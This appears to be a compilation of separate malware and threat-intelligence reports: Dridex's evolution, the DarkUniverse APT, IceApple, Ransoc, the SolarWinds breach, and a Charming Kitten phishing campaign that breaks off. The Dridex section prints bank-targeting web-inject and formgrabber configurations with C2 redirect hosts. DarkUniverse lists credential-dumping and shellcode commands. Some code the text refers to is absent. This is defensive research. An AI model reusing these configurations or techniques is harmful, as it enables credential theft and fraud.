Zeus source code leak). ### Cridex 0.77–0.80 In 2012, a significantly modified Cridex variant (MD5: 45ceacdc333a6a49ef23ad87196f375f) was released. The cybercriminals had dropped functionality related to infecting USB media and replaced the binary format of the configuration file and packets with XML. Requests sent by the malware to the C&C server looked as follows: ```xml <message set_hash="" req_set="1" req_upd="1"> <header> <unique>WIN-1DUOM1MNS4F_A47E8EE5C9037AFE</unique> <version>600</version> <system>221440</system> <network>10</network> </header> <data></data> </message> ``` The `<message>` tag was the XML root element. The `<header>` tag contained information about the system, bot identifier, and the version of the bot. Here is a sample configuration file: ```xml <packet> <commands> <cmd id="1354" type="3"> <httpinject> <conditions> <url type="deny">\.(css|js)($|\?)</url> <url type="allow" contentType="^text/(html|plain)"><![CDATA[https://.*?\.usbank\.com/]]></url> </conditions> <actions> <modify> <pattern><![CDATA[<body.*?>(.*?)]]></pattern> <replacement><![CDATA[<link href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css" rel="stylesheet" type="text/css"/> <style type="text/css"> .ui-dialog-titlebar{ background: white } .text1a{font-family: Arial; font-size: 10px;} </style> ... ``` With the exception of the root element `<packet>`, the Dridex 0.8 configuration file remained virtually unchanged until version 3.0. ### Dridex 1.10 The “zero” version was maintained until June 2014. A major operation (Operation Tovar) to take down another widespread malicious program — Gameover Zeus — was carried out that month. Nearly as soon as Zeus was taken down, the “zero” version of Cridex stopped working and Dridex version 1.100 appeared almost exactly one month afterward (on June 22). Here is a sample configuration file: ```xml <root> <settings hash="65762ae2bf50e54757163e60efacbe144de96aca"> <httpshots> <url type="deny" onget="1" onpost="1">\.(gif|png|jpg|css|swf|ico|js)($|\?)</url> <url type="deny" onget="1" onpost="1">(resource\.axd|yimg\.com)</url> </httpshots> <formgrabber> <url type="deny">\.(swf)($|\?)</url> <url type="deny">/isapi/ocget.dll</url> <url type="allow">^https?://aol.com/.*/login/</url> <url type="allow">^https?://accounts.google.com/ServiceLoginAuth</url> <url type="allow">^https?://login.yahoo.com/</url> ... </formgrabber> <redirects> <redirect name="1st" vnc="0" socks="0" uri="http://81.208.13.10:8080/injectgate" timeout="20">twister5.js</redirect> <redirect name="2nd" vnc="1" socks="1" uri="http://81.208.13.10:8080/tokengate" timeout="20">mainsc5.js</redirect> <redirect name="vbv1" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/js.php" timeout="20">/logs/dtukvbv/js.php</redirect> <redirect name="vbv2" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/in.php" timeout="20">/logs/dtukvbv/in.php</redirect> </redirects> <httpinjects> <httpinject> <conditions> <url type="allow" onpost="1" onget="1" modifiers="U"><![CDATA[^https\://.*/tdsecure/intro\.jsp.*]]></url> <url type="deny" onpost="0" onget="1" modifiers="">\.(gif|png|jpg|css|swf)($|\?)</url> </conditions> <actions> <modify><pattern modifiers="msU"><![CDATA[onKeyDown\=".*"]]></pattern><replacement><![CDATA[onKeyDown=""]]></replacement></modify> <modify><pattern modifiers="msU"><![CDATA[(\<head.*\>)]]></pattern><replacement><![CDATA[\1<style type="text/css"> body {visibility: hidden; } </style> ... ``` This sample already has redirects for injected .js scripts that are characteristic of Dridex. Thus, the takedown of one popular botnet (Gameover Zeus) led to a breakthrough in the development of another, which had many strong resemblances to its predecessor. We mentioned above that Dridex had begun to use PCRE, while its previous versions used SLRE. Remarkably, the only other banking malware that also used SLRE was Trojan-Banker.Win32.Shifu. That Trojan was discovered in August 2015 and was distributed through spam via the same botnets as Dridex. Additionally, both banking Trojans used XML configuration files. We also have reasons to believe that, at least in 2014, the cybercriminals behind Dridex were Russian speakers. This is supported by comments in the command & control server’s source code and by the database dumps. ## Dridex: from Version 2 to Version 3 By early 2015, Dridex implemented a kind of P2P network, which is also reminiscent of the Gameover Zeus Trojan. On that network, some peers (supernodes) had access to the C&C and forwarded requests from other network nodes to it. The configuration file was still stored in XML format, but it got a new section, `<nodes>`, which contained an up-to-date peer list. Additionally, the protocol used for communication with the C&C was encrypted. ## Dridex: from Version 3 to Version 4 One of the administrators of the Dridex network was arrested on August 28, 2015. In the early days of September, networks with identifiers 120, 200, and 220 went offline. However, they came back online in October and new networks were added: 121, 122, 123, 301, 302, and 303. Notably, the cybercriminals stepped up security measures at that time. Specifically, they introduced geo-filtering wherein an IP field appeared in C&C request packets, which was then used to identify the peer’s country. If it was not on the list of target countries, the peer received an error message. In 2016, the loader became more complicated and encryption methods were changed. A binary loader protocol was introduced, along with a `<settings>` section, which contained the configuration file in binary format. ## Dridex 4.x. Back to the Future The fourth version of Dridex was detected in early 2017. It has capabilities similar to the third version, but the cybercriminals stopped using the XML format in the configuration file and packets and went back to binary. The analysis of new samples is rendered significantly more difficult by the fact that the loader now works for two days, at most. This is similar to Lurk, except that Lurk’s loader was only active for a couple of hours. ### Analyzing the Loader’s Packets The packet structure in the fourth version is similar to those in the late modifications of the loader’s 3.x versions. However, the names of the modules requested have been replaced with hashes. Here is the function that implements C&C communication and uses these hashes: Knowing the packet structure in the previous version, one can guess which hash relates to which module by comparing packets from the third and fourth versions. In the fourth version of Dridex, there are many places where the CRC32 hashing algorithm is used, including hashes used to search for function APIs and to check packet integrity. It would make sense for hashes used in packets to be none other than CRC32 of requested module names. This assumption can easily be verified by running the following Python code: That’s right – the hashes obtained this way are the same as those in the program’s code. With regards to encryption of the loader’s packets, nothing has changed. As in Dridex version 3, the RC4 algorithm is used, with a key stored in encrypted form in the malicious program’s body. One more change introduced in the fourth version is that a much stricter loader authorization protocol is now used. A loader’s lifespan has been reduced to one day, after which encryption keys are changed and old loaders become useless. The server responds to requests from all outdated samples with error 404. ### Analysis of the Bot’s Protocol and Encryption Essentially, the communication of Dridex version 4 with its C&C is based on the same procedure as before, with peers still acting as proxy servers and exchanging modules. However, encryption and packet structure have changed significantly; now a packet looks like the `<settings>` section from the previous Dridex version. No more XML. The Basic Packet Generation function is used to create packets for communication with the C&C and with peers. There are two types of packets for the C&C: 1. Registration and transfer of the generated public key 2. Request for a configuration file The function outputs the following packet: A packet begins with the length of the RC4 key (74h) that will be used to encrypt strings in that packet. This is followed by two parts of the key that are the same size. The actual key is calculated by performing XOR on these blocks. Next comes the packet type (00h) and encrypted bot identifier. ### Peer-to-Peer Encryption Sample encrypted P2P packet: The header of a P2P packet is a DWORD array, the sum of all elements in which is zero. The obfuscated data size is the same as in the previous version, but the data is encrypted differently: The packet begins with a 16-byte key, followed by 4 bytes of information about the size of data encrypted with the previous key using RC4. Next comes a 16-byte key and data that has been encrypted with that key using RC4. After decryption we get a packet compressed with gzip. ### Peer to C&C Encryption As before, the malware uses a combination of RSA, RC4 encryption, and HTTPS to communicate with the C&C. In this case, peers work as proxy servers. An encrypted packet has the following structure: 4-byte CRC, followed by RSA_BLOB. After decrypting RSA (request packets cannot be decrypted without the C&C private key), we get a GZIP packet. ### Configuration File We have managed to obtain and decrypt the configuration file of botnet 222: It is very similar in structure to the `<settings>` section from the previous version of Dridex. It begins with a 4-byte hash, which is followed by the configuration file’s sections. ```c struct DridexConfigSection { BYTE SectionType; DWORD DataSize; BYTE Data[DataSize]; }; ``` The sections are of the same types as in `<settings>`: - 01h – HttpShots - 02h – Formgrabber - 08h – Redirects - etc. The only thing that has changed is the encryption of strings in the configuration file – RC4 is now used. ```c struct EncryptedConfigString { BYTE RC4Key1[16]; // Size's encryption key DWORD EncryptedSize; BYTE RC4Key2[16]; // Data's encryption key BYTE EncryptedData[Size]; }; ``` RC4 was also used to encrypt data in p2p packets. ## Geographical Distribution The developers of Dridex look for potential victims in Europe. Between January 1st and early April 2017, we detected Dridex activity in several European countries. The UK accounted for more than half (nearly 60%) of all detections, followed by Germany and France. At the same time, the malware never works in Russia, as the C&Cs detect the country via IP address and do not respond if the country is Russia. ## Conclusion In the several years that the Dridex family has existed, there have been numerous unsuccessful attempts to block the botnet’s activity. The ongoing evolution of the malware demonstrates that the cybercriminals are not about to bid farewell to their brainchild, which is providing them with a steady revenue stream. For example, Dridex developers continue to implement new techniques for evading the User Account Control (UAC) system. These techniques enable the malware to run its malicious components on Windows systems. It can be surmised that the same people, possibly Russian speakers, are behind the Dridex and Zeus Gameover Trojans, but we do not know this for a fact. The damage done by the cybercriminals is also impossible to assess accurately. Based on a very rough estimate, it has reached hundreds of millions of dollars by now. Furthermore, given the way that the malware is evolving, it can be assumed that a significant part of the “earnings” is reinvested into the banking Trojan’s development. The analysis was performed based on the following samples: Dridex4 loader: d0aa5b4dd8163eccf7c1cd84f5723d48 Dridex4 bot: ed8cdd9c6dd5a221f473ecf3a8f39933
# DarkUniverse – the mysterious APT framework #27 By GReAT, AMR on November 5, 2019. 10:00 am In April 2017, ShadowBrokers published their well-known ‘Lost in Translation’ leak, which, among other things, contained an interesting script that checked for traces of other APTs in the compromised system. In 2018, we found an APT described as the 27th function of this script, which we call ‘DarkUniverse’. This APT was active for at least eight years, from 2009 until 2017. We assess with medium confidence that DarkUniverse is a part of the ItaDuke set of activities due to unique code overlaps. ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server URLs. ## Technical details ### Infection vector Spear phishing was used to spread the malware. A letter was prepared separately for each victim to grab their attention and prompt them to open an attached malicious Microsoft Office document. Each malware sample was compiled immediately before being sent and included the latest available version of the malware executable. Since the framework evolved from 2009 to 2017, the last releases are totally different from the first ones, so the current report details only the latest available version of the malware used until 2017. The executable file embedded in the documents extracts two malicious files from itself, `updater.mod` and `glue30.dll`, and saves them in the working directory of the malware – `%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Reorder`. After that, it copies the legitimate `rundll32.exe` executable into the same directory and uses it to run the `updater.mod` library. ### The updater.mod module This module is implemented as a dynamic-link library with only one exported function, called `callme@16`. This module is responsible for such tasks as providing communication with the C2 server, providing the malware integrity and persistence mechanism, and managing other malware modules. The persistence mechanism is provided by a link file, which is placed by `updater.mod` into the startup folder, ensuring malware execution after a reboot. If the link file becomes corrupted, the `updater.mod` module restores it. ### Communication with C2 In this campaign, the C2 servers were mostly based on cloud storage at mydrive.ch. For every victim, the operators created a new account there and uploaded additional malware modules and a configuration file with commands to execute it. Once executed, the `updater.mod` module connected to the C2 and performed the following actions: - downloaded the command file to the working directory; - uploaded files collected and prepared by additional malicious modules (if any) to the C2. These files were located in a directory called ‘queue’ or ‘ntfsrecover’ in the working directory. Files in this directory could have one of two extensions: `.d` or `.upd` depending on whether they had already been uploaded to the server or not. - downloaded additional malware modules: - `dfrgntfs5.sqt` – a module for executing commands from the C2; - `msvcrt58.sqt` – a module for stealing mail credentials and emails; - `zl4vq.sqt` – legitimate zlib library used by `dfrgntfs5`; - `%victim_ID%.upe` – optional plug-in for `dfrgntfs5`. Unfortunately, we were unable to obtain this file. All malware modules are encrypted with a custom algorithm. The credentials for the C2 account are stored in the configuration that is placed in the registry, but the `updater.mod` module also stores a copy as an encrypted string in the executable file. Also, the configuration specifies how often `updater.mod` polls the C2, supporting both an active mode and a partly active mode. ### Malware configuration in the registry The malware configuration is stored in the registry in the `SOFTWARE\AppDataLow\GUI\LegacyP` entry. Different values are detailed in the following table: | Value | Description | |-------|-------------| | name | C1 - C2 domain. | | C2 | C2 domain path. | | C3 | C2 credential username. | | C4 | C2 credential password. | | install | 1 if malware is installed. | | TL1 | DESACTIVAR | HABILITAR – specifies whether `msvcrt58` and `glue` libraries are active. | | TL2, TL3 | If TL1 is not NULL, it specifies time bounds when TL1 option is applied. | | “kl” | If 1, `updater.mod` should download `msvcrt58.sqt` from C2 again. | | “re” | If 1, `updater.mod` should download `dfrgntfs5.sqt` from C2 again. | | “de” | If not 0, framework should uninstall itself. | | “cafe”| REDBULL | SLOWCOW specifies how often `updater.mod` polls C2. | | “path”| Path to the folder from which files are being sent to C2. | ### Modules `glue30.dll` and `msvcrt58.sqt` The `glue30.dll` malware module provides keylogging functionality. The `updater.mod` module uses the Win API function `SetWindowsHookExW` to install hooks for the keyboard and to inject `glue30.dll` into processes that get keyboard input. After that, `glue30.dll` loads and begins intercepting input in the context of each hooked process. The `msvcrt58.sqt` module intercepts unencrypted POP3 traffic to collect email conversations and victims’ credentials. This module looks for traffic from the following processes: - `outlook.exe` - `winmail.exe` - `msimn.exe` - `nlnotes.exe` - `eudora.exe` - `thunderbird.exe` - `thunde~1.exe` - `msmsgs.exe` - `msnmsgr.exe` The malware parses intercepted POP3 traffic and sends the result to the main module (`updater.mod`) for uploading to the C2. This is done by hooking the following network-related Win API functions: - `ws2_32.connect` - `ws2_32.send` - `ws2_32.recv` - `ws2_32.WSARecv` - `ws2_32.closesocket` ### The `dfrgntfs5.sqt` module This is the most functional component of the DarkUniverse framework. It processes an impressive list of commands from the C2, which are listed in the following table. | Command | Description | |---------|-------------| | VER | Sends malware version to server. | | DESINSTALAR | Uninstalls itself. | | PANTALLA | Takes screenshot of the full screen and saves it to the \queue folder. | | CAN_TCP, CAN_HTTP, CAN_HTTPS | Injects a shellcode into IE that establishes a direct connection with the C2, downloads additional code, sends info about the download results to the C2 and executes the downloaded code. | | MET_TCP, MET_HTTPS | Also injects a shellcode into IE. The only difference with the previous command set is that in this case the shellcode doesn’t send any additional info to the C2 – it only establishes the connection, downloads additional code and executes it. | | CAN_HTTP_LSASS | Injects the same shellcode as in the case of CAN_HTTP into the LSASS.exe process. | | SCAN/STOPSCAN | Starts/stops network scan. Collects lots of different info about the local network. | | CREDSCAN | Brute-forces IP range with specified username and password. | | ACTUALIZAR | Updates `dfrgntfs5.sqt`. | | ACTUALIZARK | Updates `msvcrt58.sqt`. | | SYSINFO | Collects full system info. | | REDBULL | Sets cafe flag to 1 – active. | | SLOWCOW | Sets cafe flag to 0 – slow mode. | | X | Runs specified process and logs its output, then prepares this output log for uploading to the C2. | | T | Obtains list of files from a specific directory. | | TAUTH | Obtains list of files of remote server if specified credentials are valid. | | G | Sends a file to the C2. | | GAUTH | Downloads a particular file from a shared resource if specified credentials are valid. | | SPLIT | Splits file into 400 KB parts and uploads them to the C2. | | FLUSH | Sends file with the data collected by all components that day and deletes it. | | C1 – C4 | Sets the C2 in its configuration in the registry (C1-C4). | | TL1 – TL3 | Sets the active state in its configuration in the registry (T1-T3). | | ONSTART | Sets process to be started every malware startup. | | CLEARONSTART | Undoes previous ONSTART command. | | ARP | Runs unavailable ARP module (uncparse.dll – unavailable). This module stores data in a file internally named arpSniff.pcap. | | AUTO | Automatically looks for updates of predefined files. | | MANUAL | Files in the specified directory are searched using the *.upd pattern, all found files are deleted. | | REGDUMP | Collects information from the registry. | | PWDDUMP | Collects and decrypts credentials from Outlook Express, Outlook, Internet Explorer, Windows Mail and Windows Live Mail, Windows Live Messenger, and also Internet Cache. | | LOGHASH | Injects process into lsass.exe and starts collecting password hashes in the file checksums.bk. | | SENDLOGHASH | Sends collected lsass.exe process password hashes to the C2. | | PROXYINFO | Checks if credentials for proxy are valid. | | DHCP | Sets DHCP settings for local machine. | | DNS | Sets DNS settings for local machine. | | FAKESSL | Provides basic MITM functionality. | ## Victimology We recorded around 20 victims geolocated in Syria, Iran, Afghanistan, Tanzania, Ethiopia, Sudan, Russia, Belarus, and the United Arab Emirates. The victims included both civilian and military organizations. We believe the number of victims during the main period of activity between 2009 and 2017 was much greater. ## Conclusions DarkUniverse is an interesting example of a full cyber-espionage framework used for at least eight years. The malware contains all the necessary modules for collecting all kinds of information about the user and the infected system and appears to be fully developed from scratch. Due to unique code overlaps, we assume with medium confidence that DarkUniverse’s creators were connected with the ItaDuke set of activities. The attackers were resourceful and kept updating their malware during the full lifecycle of their operations, so the observed samples from 2017 are totally different from the initial samples from 2009. The suspension of its operations may be related to the publishing of the ‘Lost in Translation’ leak, or the attackers may simply have decided to switch to more modern approaches and start using more widely available artifacts for their operations. ## Appendix I – Indicators of Compromise ### MD5 Hashes - 1addee050504ba999eb9f9b1ee5b9f04 - 4b71ec0b2d23204e560481f138833371 - 4e24b26d76a37e493bb35b1a8c8be0f6 - 405ef35506dc864301fada6f5f1d0711 - 764a4582a02cc54eb1d5460d723ae3a5 - c2edda7e766553a04b87f2816a83f563 - 71d36436fe26fe570b876ad3441ea73c A full set of IOCs, including YARA rules, is available to customers of the Kaspersky Intelligence Reporting service. For more information, contact [email protected].
# Falcon OverWatch Detects Novel IceApple Framework Adrian Justice May 11, 2022 The CrowdStrike Falcon OverWatch™ proactive threat hunting team has uncovered a sophisticated .NET-based post-exploitation framework, dubbed IceApple. Since OverWatch’s first detection in late 2021, the framework has been observed in multiple victim environments in geographically distinct locations, with intrusions spanning the technology, academic, and government sectors. The emergence of new and evolving IceApple modules over the past year indicates that this framework remains under active development. To date, IceApple has been observed being deployed on Microsoft Exchange server instances; however, it is capable of running under any Internet Information Services (IIS) web application. As such, ensuring all web applications are fully patched is critical to ensuring IceApple doesn’t end up in your environment. IceApple is a post-exploitation framework — this means it does not provide access; rather, it is used to further mission objectives after access has already been achieved. OverWatch’s investigations have identified 18 distinct modules with functionality that includes discovery, credential harvesting, file and directory deletion, and data exfiltration. OverWatch has observed evidence of adversaries repeatedly returning to victim environments to carry out their post-exploitation activities. IceApple uses an in-memory-only framework that highlights the adversary’s priority of maintaining a low forensic footprint on the infected host. This is typical of long-running objectives aimed at intelligence collection and aligns with a targeted, state-sponsored mission. While the observed targeted intrusions align with China-nexus, state-sponsored collection requirements, at this time CrowdStrike Intelligence has not attributed IceApple to a named threat actor. IceApple has a number of features to help it evade detection. Detailed analysis of the modules suggests that IceApple has been developed by an adversary with deep knowledge of the inner workings of IIS software. One of the modules was even found to be leveraging undocumented fields that are not intended to be used by third-party developers. Efforts to blend into the victim environment are also seen with the assembly file names themselves. At first glance, they appear to be expected IIS temporary files generated as part of the process of converting ASPX source files into .NET assemblies for IIS to load. Closer inspection is required to identify that the file names are not randomly generated as would be expected, and the way the assemblies are loaded falls outside of what is normal for Microsoft Exchange and IIS. OverWatch threat hunters’ familiarity with how systems should operate, and also how adversaries attempt to corrupt these systems, is what enabled hunters to quickly identify this suspicious activity. OverWatch regularly sees adversaries use .NET assemblies as a way to load additional functionality post-exploitation. Reflectively loading .NET assemblies, which involves executing the assembly directly within the memory of a process, can be a powerful and potentially stealthy way for adversaries to pursue their mission objectives. As such, OverWatch threat hunters have been actively developing detections for reflective .NET assembly loads. In late 2021, one of Falcon OverWatch’s in-development detections for reflective .NET assembly loads triggered on a Microsoft Exchange OWA server belonging to a customer who had recently started a trial of the Falcon platform. Eagle-eyed threat hunters identified anomalies in the assembly files and quickly reached out to the victim organization to notify them. OverWatch then worked with the customer to configure the Falcon sensor to extract the contents of reflectively loaded .NET assemblies across the customer’s endpoints, giving OverWatch increased visibility and facilitating closer inspection of IceApple’s functionality. IceApple is a highly sophisticated IIS post-exploitation framework; however, it is by no means alone. OverWatch regularly identifies new reflectively loaded .NET assemblies of various levels of sophistication. The CrowdStrike Falcon® platform detects all currently known IceApple module loads, while OverWatch actively hunts new IceApple modules. Threat hunting is a crucial piece of the defensive puzzle when it comes to novel and stealthy adversary tools like IceApple. CrowdStrike threat hunters draw on their extensive experience of what “normal” looks like in enterprise environments, knowledge of adversary behavior, and up-to-the-minute threat intelligence to preempt where the next threat might emerge. This feeds the development and testing of hypotheses that enhance the hunt and curtail adversary attempts to evade technology-based defenses. OverWatch’s systematic workflows also ensure that the detailed analysis of IceApple will also feed back into continuous improvement and fine-tuning of hunting leads. The discovery of IceApple was the result of one such experimental hunting lead and ultimately led to the discovery of attempted intrusions in multiple victim environments.
# Ransoc Desktop Locking Ransomware Ransacks Local Files and Social Media Profiles **Overview** Ransomware has exploded in the last year, becoming the malware of choice for many threat actors because of its easy monetization and ease of distribution, whether via massive email campaigns or through a variety of exploit kits. Proofpoint research suggests that the number of ransomware variants has grown tenfold since December 2015. While most such malware encrypts a victim's files and demands that a ransom be paid in Bitcoins to decrypt them, Proofpoint researchers recently discovered a new variant that scrapes Skype and social media profiles for personal information while it scans files and torrents for potentially sensitive information. Instead of encrypting files, it threatens victims with fake legal proceedings if they fail to pay the ransom. **The Discovery** In the last week of October, our colleague at FoxIT InTELL, Frank Ruiz, pointed us to a new browser locker variant. Unlike traditional encrypting ransomware like Locky, browser lockers are full-screen web apps that prevent users from accessing their operating systems or closing the browser window. In this case, the browser locker displays a fake "Penalty Notice" offering to let the victim "settle [their] case out of court," avoiding the threat of legal actions and much larger penalties for objectionable content and suspicious activity purportedly discovered on the victim's computer. This browser locker was spread in the United States via malvertising traffic (primarily fed by the Plugrush and Traffic Shop traffic exchanges on adult websites) aimed at Internet Explorer on Windows and Safari on OS X. This type of threat was endemic between 2012 and 2014 and was frequently seen spreading concurrently via exploit kit with “Police Locker” malware. Since then, the same kind of traffic has largely focused on exploit kit distribution of crypto ransomware and other malware as well as Tech Support scams in which victims are told to contact a fake tech support service to remove malware from their PCs, usually for a fee to be paid by credit card. However, in the first week of November, we discovered an unusual malware variant that we believe is tied to the “Penalty Notice” browlock based on visual and thematic similarities and distribution mechanisms. Note, however, that while the browser locker functions cross-platform, the related malware, dubbed Ransoc, is a Windows binary. **Ransoc** In a sandbox environment, we observed this new malware perform an IP check and send all of its traffic through the Tor network. Further examination revealed that the malware scanned local media filenames for strings associated with child pornography. We also noticed that it was running several routines interacting with Skype, LinkedIn, and Facebook profiles. The code also examined folders from Torrent software. To determine the nature of the malware's interaction with these services, we ran it manually in our sandbox. We logged into fake social network accounts then closed the browser and launched the Skype desktop application. As suspected, after running the malware, we saw it connecting to the fake Facebook and LinkedIn profiles we created. The malware, which we call Ransoc because of its connections to social media, then displayed a Penalty Notice that was visually and functionally similar to the browser locker. The new Penalty Notice appears to only show if the malware finds potential evidence of child pornography or media files downloaded via Torrents and customizes the penalty notice based on what it finds. If we manually changed file names to match specific strings, we were able to trigger the penalty notice. The ransom message displays accurate personal data captured from Skype and social media profiles, including profile photos. It threatens to expose the collected "evidence" to the public, with legitimate social profile information being used as a social engineering lure to convince victims that sensitive information may actually be at risk of exposure. Unlike most ransomware variants, the target here is the victim's reputation rather than their files. Ransoc also includes code that may allow it to access a victim's webcam, although we did not verify this functionality. The ransom message is actually a full-screen window that functions much like the browser locker application. However, Ransoc checks every 100ms for regedit, msconfig, and taskmgr, killing the processes before victims have a chance to remove or disable the malware. Ransoc only uses a registry autorun key to persist, though, so rebooting in Safe Mode should allow users to remove the malware. The sample we examined had an HKCU\Software\Microsoft\Windows\CurrentVersion\Run\JavaErrorHandler registry key with a value of a shortcut pathname ending in 'JavaErrorHandler.lnk', although future versions may use a different key. The payment system is also unusual. Credit card payment is almost unheard of in ransomware schemes. While it removes the hassle and confusion for many victims associated with Bitcoin processing, it also potentially allows law enforcement to trace activity back to the cybercriminal more easily. This fairly bold approach to ransom payments suggests the threat actors are quite confident that people paying the ransom have enough to hide that they will probably not seek support from law enforcement. In fact, while Ransoc may seem to be motivated by vigilantism against genuine criminals, the motives are likely less-than-altruistic, as the attackers target users who will be unlikely to resist or inform the authorities and thus increase the likelihood of payment. This theory is further bolstered by the fact that most victims encounter this malware via malvertising on adult websites and the penalty notice only appears when Ransoc encounters potential evidence of illegally downloaded media and certain types of pornography. To encourage payment, the ransom note also claims that money will be sent back if the victim is not caught again in the 180 days. **Conclusion** Although exploit kit activity has dropped off precipitously over the past year, malvertising activity remains strong, with threat actors exploring new ways to infect victims and extort money through this vector. By incorporating data from social media accounts and Skype profiles, Ransoc creates a coercive, socially engineered ransom note to convince its targets that they are in danger of prosecution for their browsing habits and the contents of their hard drives. With bold approaches to collecting payments, the threat actors appear confident in their targeting, introducing new levels of sophistication to ransomware distribution and monetization. **Indicators of Compromise (IOCs)** | Date | Domain | IP | Comment | |--------------|---------------------------------|-----------------|---------------------------------------| | 2016-10-27 | cis-criminal-report[.]com | 5.45.86.171 | Browlock for IE Windows | | 2016-10-27 | criminal-report[.]in | 5.45.86.171 | Browlock for Safari OSX | | 2016-11-03 | violation-report[.]in | 5.45.86.171 | Browlock for IE and Safari | | 2016-11-02 | latexfetishsex[.]com | 78.47.134.204 | Intermediate Redirector/TDS | | 2016-11-03 | italy-girls[.]mobi | 5.9.86.131 | Intermediate Redirector/TDS | | 2016-11-10 | N/A | 5.45.86.148 | IP found in the Ransoc | **SHA256** fee53dc4e165b2aa45c3e7bd100b49c367aa8b7f81757617114ff50a584a1566 - Ransoc PenaltyNotice
# SolarWinds Says Fewer Than 100 Customers Were Impacted by Supply Chain Attack Texas-based software firm SolarWinds downgraded the number of customers impacted by its 2020 supply chain attack from 18,000 to less than 100. In an SEC filing, the company stated that based on new information surfaced during its investigation, such as DNS traffic records, it now believes that while 18,000 of its 300,000 customers downloaded a version of its Orion software tainted with the Sunburst malware, the attackers activated the malware only on a handful of customers' networks. > "We now estimate that the actual number of customers who were hacked through SUNBURST to be fewer than 100. […] This information is consistent with estimates provided by U.S. government entities and other researchers and consistent with the presumption the attack was highly targeted." > — SolarWinds CEO Sudhakar Ramakrishna SolarWinds noted that while it detected around 18,000 downloads of the tainted SolarWinds Orion app, many customers did not install the downloaded version, or the Orion update was installed in air-gapped networks where the malware couldn’t connect to its command-and-control server, blocking any future attacks. The company’s CEO Sudhakar Ramakrishna said the company issued this update to correct media reports from last year that incorrectly suggested that 18,000 of its customers were hacked when, in reality, the attackers only targeted a handful of selected targets, such as large companies and government organizations. This was confirmed last month by the governments of several countries, including the Biden administration, which formally accused the Russian Foreign Intelligence Service (SVR) of orchestrating the SolarWinds supply chain attack as part of a targeted cyber-espionage campaign. ## Investigation into the Hacker’s Entry Point is Progressing The SEC document filed on Friday also provided additional insight into the company’s internal investigation. One of the biggest mysteries that remains to be solved is how SVR hackers gained access to SolarWinds’ internal network in the first place. The Texas software company said it is still investigating this topic and has narrowed down the entry point to three possibilities: - Zero-day vulnerability in a third-party application or device - Brute-force attack, such as a password spray attack - Social engineering, such as a targeted phishing attack SolarWinds also stated that while they “don’t know precisely when or how the threat actor first gained access to [their] environment,” the company found new evidence that the threat actor compromised internal credentials and moved around its internal network and Microsoft Office 365 environment for at least nine months prior to initiating a so-called test run in October 2019, when they tested their ability to deploy malicious code inside the SolarWinds Orion app before launching the actual attack in March 2020. In addition, SolarWinds reported that the SVR hackers also: - Created and moved files that are believed to contain source code for both Orion Platform software and non-Orion products. However, the actual contents of those files remain undetermined. - Created and moved additional files, including a file that may have contained data supporting their customer portal application. Although the actual contents of the files are unknown, the information included in their customer portal databases does not contain highly sensitive personal information, such as credit card, Social Security, passport details, or bank account numbers, but contains other information such as customer name, email addresses, billing addresses, encrypted portal login credentials, IP addresses downloading any software, and MAC addresses of the registered Orion servers. - Accessed email accounts of certain personnel, some of which contained information related to current or former employees and customers. The company is currently in the process of identifying all personal information contained in the emails of these accounts and expects to provide notices to any impacted individuals and other parties as appropriate. - Moved files to a jump server, which is believed to have been intended to facilitate the exfiltration of the files out of their environment. SolarWinds stated that it is still investigating the attack and its aftermath. The company is working with KPMG and CrowdStrike, along with several government agencies. Last month, the company revoked and issued a new digital code-signing certificate for its applications and revamped its software build process to add post-build verification defenses.
# The Return of The Charming Kitten A review of the latest wave of organized phishing attacks by Iranian state-backed hackers **Certfa Lab · 2018.12.13** Phishing attacks are the most common form of infiltration used by Iranian state-backed hackers to gain access into accounts. Certfa reviews the latest campaign of phishing attacks that has been carried out and dubbed as “The Return of The Charming Kitten”. In this campaign, hackers have targeted individuals who are involved in economic and military sanctions against the Islamic Republic of Iran as well as politicians, civil and human rights activists and journalists around the world. Our review in Certfa demonstrates that the hackers, knowing that their victims use two-step verification, target verification codes and also their email accounts such as Yahoo! and Gmail. As a result, Certfa believes the safest existing way to confront these attacks is using Security Keys such as YubiKey. ## Introduction In early October 2018, MD0ugh, a Twitter user, revealed phishing attacks of a group of Iranian hackers against US financial institution infrastructure. According to this user, these attacks could possibly be a reaction to new sanctions against Iran. The account mentioned a domain with the address accounts[-]support[.]services for the first time. This domain is linked to a group of hackers who are supported by the Iranian government, and that we believe have close ties with the Islamic Revolutionary Guard Corps (IRGC). ClearSky has previously published detailed reports on their activities. A month after these attacks, the administrators of accounts-support[.]services expanded their activities and started targeting civil and human rights activists, political figures, and also Iranian and Western journalists. ## Methods of Attacks Our investigation illustrates that the attackers are utilizing different methods to carry out their attacks. These methods can be put into two categories: 1. Phishing attacks through unknown email or social media and messaging accounts 2. Phishing attacks through email or social media and messaging accounts of public figures, which have been hacked by the attackers We have also found that the hackers have collected information on their targets prior to the phishing attack. The hackers design specific plans for each target based on the level of targets’ cyber knowledge, their contacts, activities, working time, and their geographic situation. We also noticed that, unlike in previous phishing campaigns, in some cases the hackers did not change the password of their victims’ accounts in these latest attacks. This allows them to remain undetected and monitor a victim’s communications via their email in real time. ### Fake alerts of unauthorized access According to the samples of phishing attacks, the main trick used by these hackers to deceive their targets is that of sending fake alerts through email addresses such as notifications.mailservices@gmail[.]com, noreply.customermails@gmail[.]com, customer]email-delivery[.]info etc. stating that unauthorized individuals have tried to access their accounts. ### Fake file sharing on Google Drive Sending links with titles such as share files from Google Drive has been one of the most common tricks that hackers have used in recent years. A unique point of these attacks in comparison with the previous ones is that they use Google Site, which allows the hackers to show a fake download page of Google Drive, which tricks the users into thinking it’s a real Google Drive page. For example, the hacker had used hxxps://sites.google[.]com/view/sharingdrivesystem to deceive the users and convince them the page is the authentic Google Drive as users can see google.com in the address bar of their browsers. Certfa has reported this link and similar links to Google and Google has now terminated them. By creating websites with the same design and look of Google Drive file sharing page, hackers pretend to be sharing a file with the user, which they should download and run it on their devices. They use hacked Twitter, Facebook, and Telegram accounts to send these links and target new users. The truth is there is not any file and the hackers use this page to direct their targets to the fake Google login page, where the users enter their credential details including 2-factor authentication. ## The Attack Structure Most of these attacks are currently occurring through phishing emails. As a result, it would be useful to take a look at the original content in recent phishing campaigns. ### Destination link 1. 